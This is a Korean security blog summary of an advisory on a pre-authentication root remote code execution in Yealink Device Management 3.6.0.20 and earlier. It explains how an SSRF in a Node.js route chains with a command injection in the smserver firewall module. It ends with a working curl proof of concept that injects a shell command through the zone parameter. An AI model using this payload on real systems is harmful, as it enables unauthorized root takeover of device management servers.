[하루한줄] Yealink DM Pre-Auth root level RCE

URL

SSD Advisory – Yealink DM Pre Auth ‘root’ level RCE

Target

  • Yealink DM 3.6.0.20 버전 이하

Explain

통합 개발 및 배포, 실시간 모니터링 및 경고, 원격 문제 해결 등의 솔루션을 가진 Yealink Device Management(이하 Yealink DM) platform에서 인증되지 않은 원격 사용자가 임의 명령을 수행할 수 있는 취약점이 발견되었습니다.

원격 코드 실행은 pre-auth SSRF 취약점과 Command Injection 취약점을 체이닝 하여 트리거 됩니다. SSRF 취약점이 존재하는 /usr/local/yealink/dmweb/api/index.js 코드 일부는 다음과 같습니다.

 17 module.exports = app => {
 18     app.use('/premise', router);
 19 };
[...]
217 router.get('/front/getPingData', (req, res) => {
218     // res.send({"ret":1,"data":"PING www.baidu.com (14.215.177.38): 56 data bytes\n64 bytes from 14.215.177.38: seq=0 ttl=54 time=15.084 ms\n64 bytes from 14.215.177.38: seq=1 ttl=54 time=15.888 ms\n64 bytes from 14.215.177.38: seq=2 ttl=54 time=15.742 ms\n64 bytes from 14.215.177.38: seq=3 ttl=54 time=15.622         ms\n64 bytes from 14.215.177.38: seq=4 ttl=54 time=16.384 ms\n\n--- www.baidu.com ping statistics ---\n5 packets transmitted, 5 packets received, 0% packet loss\nround-trip min/avg/max = 15.084/15.744/16.384 ms\n","error":null})
219     // return;
220     try {
221         let url = req.query.url;
222         // ��telnet�����pos���ping�trace����������端�����pos��以�并�pos传��
223         let pos = req.query.pos;
224         console.log(`url===${url}`);
225         let headers = {
226             'Content-Type': 'application/json',
227             'User-Agent': req.headers['user-agent'],
228             'x-forwarded-for': commom.getClientIP(req),
229             token: req.session.token
230         };
231         request.get({
232             url: url,
233             headers: headers,
234             timeout: 60000,
235             qs: {
236                 pos: pos
237             }
238         }).pipe(res);
239     } catch (e) {
240         console.error(e);
241         res.send(
242             errcode.MakeResult(
243                 errcode.ERR,
244                 e,
245                 errcode.INTERNAL_ERROR,
246                 'server.common.internal.error'
247             )
248         );
249     }
250 });

17번 줄에서 추가적인 API 사용을 위해 /premise route를 정의합니다. 그 후 217번 줄에서 /premise/front/getPingData를 GET 메소드의 route로 정의합니다. 232번 줄에서 특정 헤더를 사용하여 URL을 GET 메소드로 전송할 수 있습니다. 헤더는 225줄에서 정의되어 있으므로 해당 헤더 값으로 URL을 전송하면 해커가 제어하는 URL을 전송할 수 있습니다.

해당 취약점을 통해 0.0.0.0:9600/tcp에서 root로 실행되는 smserver 데몬에 요청을 보냅니다. smservermod_firewall.so 모듈에는 Command injection을 할 수 있는 fw_restful_service_get() 함수가 존재합니다. 해당 함수는 zone=에 들어온 GET 변수를 사용하여 명령을 실행합니다.

따라서 SSRF를 통해 smserver에 payload를 작성하여 보내면 root 권한으로 Remote Code Execution이 가능합니다.

curl --insecure "https://[target]/premise/front/getPingData?url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/services?zone=;/usr/bin/id;"